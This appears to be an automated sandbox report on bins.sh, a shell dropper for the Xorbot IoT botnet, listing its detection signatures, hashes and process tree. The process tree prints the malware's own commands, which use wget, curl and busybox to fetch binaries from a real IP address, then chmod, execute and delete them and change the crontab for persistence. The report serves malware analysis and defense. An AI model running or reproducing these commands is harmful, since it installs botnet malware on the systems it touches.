Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    13/01/2025, 23:47

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample250113-3svcdstjgk
  • SHA256 cc955ad4d36c0bac4df877d0b18ace99d46d3d4e9d9bab720b4a2e1655833c99
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotantivmbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalatiotrojan

Malware Config

Signatures

  • Detects Xorbot 3 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Contacts a large (1892) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 4 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 3 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 10 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:667
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:674
        • /usr/bin/wget
          wget http://66.63.187.225/bins/71l47EdrXV4P9NMq30sfFDA7WLsQGGslzf
          2⤵
          • Writes file to tmp directory
          PID:676
        • /usr/bin/curl
          curl -O http://66.63.187.225/bins/71l47EdrXV4P9NMq30sfFDA7WLsQGGslzf
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:687
        • /bin/busybox
          /bin/busybox wget http://66.63.187.225/bins/71l47EdrXV4P9NMq30sfFDA7WLsQGGslzf
          2⤵
          • Writes file to tmp directory
          PID:695
        • /bin/chmod
          chmod 777 71l47EdrXV4P9NMq30sfFDA7WLsQGGslzf
          2⤵
          • File and Directory Permissions Modification
          PID:699
        • /tmp/71l47EdrXV4P9NMq30sfFDA7WLsQGGslzf
          ./71l47EdrXV4P9NMq30sfFDA7WLsQGGslzf
          2⤵
          • Executes dropped EXE
          PID:700
        • /bin/rm
          rm 71l47EdrXV4P9NMq30sfFDA7WLsQGGslzf
          2⤵
            PID:703
          • /usr/bin/wget
            wget http://66.63.187.225/bins/dEzrgqzfP4hQFr8KxZEx3ExVz2hgRxyHET
            2⤵
            • Writes file to tmp directory
            PID:704
          • /usr/bin/curl
            curl -O http://66.63.187.225/bins/dEzrgqzfP4hQFr8KxZEx3ExVz2hgRxyHET
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:706
          • /bin/busybox
            /bin/busybox wget http://66.63.187.225/bins/dEzrgqzfP4hQFr8KxZEx3ExVz2hgRxyHET
            2⤵
            • Writes file to tmp directory
            PID:707
          • /bin/chmod
            chmod 777 dEzrgqzfP4hQFr8KxZEx3ExVz2hgRxyHET
            2⤵
            • File and Directory Permissions Modification
            PID:710
          • /tmp/dEzrgqzfP4hQFr8KxZEx3ExVz2hgRxyHET
            ./dEzrgqzfP4hQFr8KxZEx3ExVz2hgRxyHET
            2⤵
            • Executes dropped EXE
            PID:711
          • /bin/rm
            rm dEzrgqzfP4hQFr8KxZEx3ExVz2hgRxyHET
            2⤵
              PID:713
            • /usr/bin/wget
              wget http://66.63.187.225/bins/4vdlLIudcU2ETdEyjfXETGSs5k5wtEic7S
              2⤵
              • Writes file to tmp directory
              PID:715
            • /usr/bin/curl
              curl -O http://66.63.187.225/bins/4vdlLIudcU2ETdEyjfXETGSs5k5wtEic7S
              2⤵
              • Checks CPU configuration
              • Writes file to tmp directory
              PID:722
            • /bin/busybox
              /bin/busybox wget http://66.63.187.225/bins/4vdlLIudcU2ETdEyjfXETGSs5k5wtEic7S
              2⤵
              • Writes file to tmp directory
              PID:730
            • /bin/chmod
              chmod 777 4vdlLIudcU2ETdEyjfXETGSs5k5wtEic7S
              2⤵
              • File and Directory Permissions Modification
              PID:733
            • /tmp/4vdlLIudcU2ETdEyjfXETGSs5k5wtEic7S
              ./4vdlLIudcU2ETdEyjfXETGSs5k5wtEic7S
              2⤵
              • Executes dropped EXE
              • Renames itself
              • Reads runtime system information
              PID:734
              • /bin/sh
                sh -c "crontab -l"
                3⤵
                  PID:736
                  • /usr/bin/crontab
                    crontab -l
                    4⤵
                    • Reads runtime system information
                    PID:738
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:740
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      PID:741
                • /bin/rm
                  rm 4vdlLIudcU2ETdEyjfXETGSs5k5wtEic7S
                  2⤵
                    PID:745
                  • /usr/bin/wget
                    wget http://66.63.187.225/bins/tXX4tXUmswRx9bGwVfE2vyGCMEdP5nYMxU
                    2⤵
                      PID:749
                    • /usr/bin/curl
                      curl -O http://66.63.187.225/bins/tXX4tXUmswRx9bGwVfE2vyGCMEdP5nYMxU
                      2⤵
                        PID:751
                      • /bin/busybox
                        /bin/busybox wget http://66.63.187.225/bins/tXX4tXUmswRx9bGwVfE2vyGCMEdP5nYMxU
                        2⤵
                        • Writes file to tmp directory
                        PID:752
                      • /bin/chmod
                        chmod 777 tXX4tXUmswRx9bGwVfE2vyGCMEdP5nYMxU
                        2⤵
                        • File and Directory Permissions Modification
                        PID:839
                      • /tmp/tXX4tXUmswRx9bGwVfE2vyGCMEdP5nYMxU
                        ./tXX4tXUmswRx9bGwVfE2vyGCMEdP5nYMxU
                        2⤵
                        • Executes dropped EXE
                        PID:844
                      • /bin/rm
                        rm tXX4tXUmswRx9bGwVfE2vyGCMEdP5nYMxU
                        2⤵
                          PID:846
                        • /usr/bin/wget
                          wget http://66.63.187.225/bins/qGoyQYB6Fa4PRxTBLZqVfHDBbnGJL3DGQX
                          2⤵
                            PID:849

                        Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

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                              Downloads

                              4vdlLIudcU2ETdEyjfXETGSs5k5wtEic7S
                              • Path /tmp/4vdlLIudcU2ETdEyjfXETGSs5k5wtEic7S
                              • Size 119KB
                              • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              71l47EdrXV4P9NMq30sfFDA7WLsQGGslzf
                              • Path /tmp/71l47EdrXV4P9NMq30sfFDA7WLsQGGslzf
                              • Size 112KB
                              • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              dEzrgqzfP4hQFr8KxZEx3ExVz2hgRxyHET
                              • Path /tmp/dEzrgqzfP4hQFr8KxZEx3ExVz2hgRxyHET
                              • Size 99KB
                              • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              tXX4tXUmswRx9bGwVfE2vyGCMEdP5nYMxU
                              • Path /tmp/tXX4tXUmswRx9bGwVfE2vyGCMEdP5nYMxU
                              • Size 151KB
                              • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              tmp.js4F5a
                              • Path /var/spool/cron/crontabs/tmp.js4F5a
                              • Size 210B
                              • SHA256 739b3b2a5cbcffa7ce1c765e5503911bb0d9f169e8f010ca86773388e092f45d
                              • MD5 SHA1 SHA512
                              Submit Download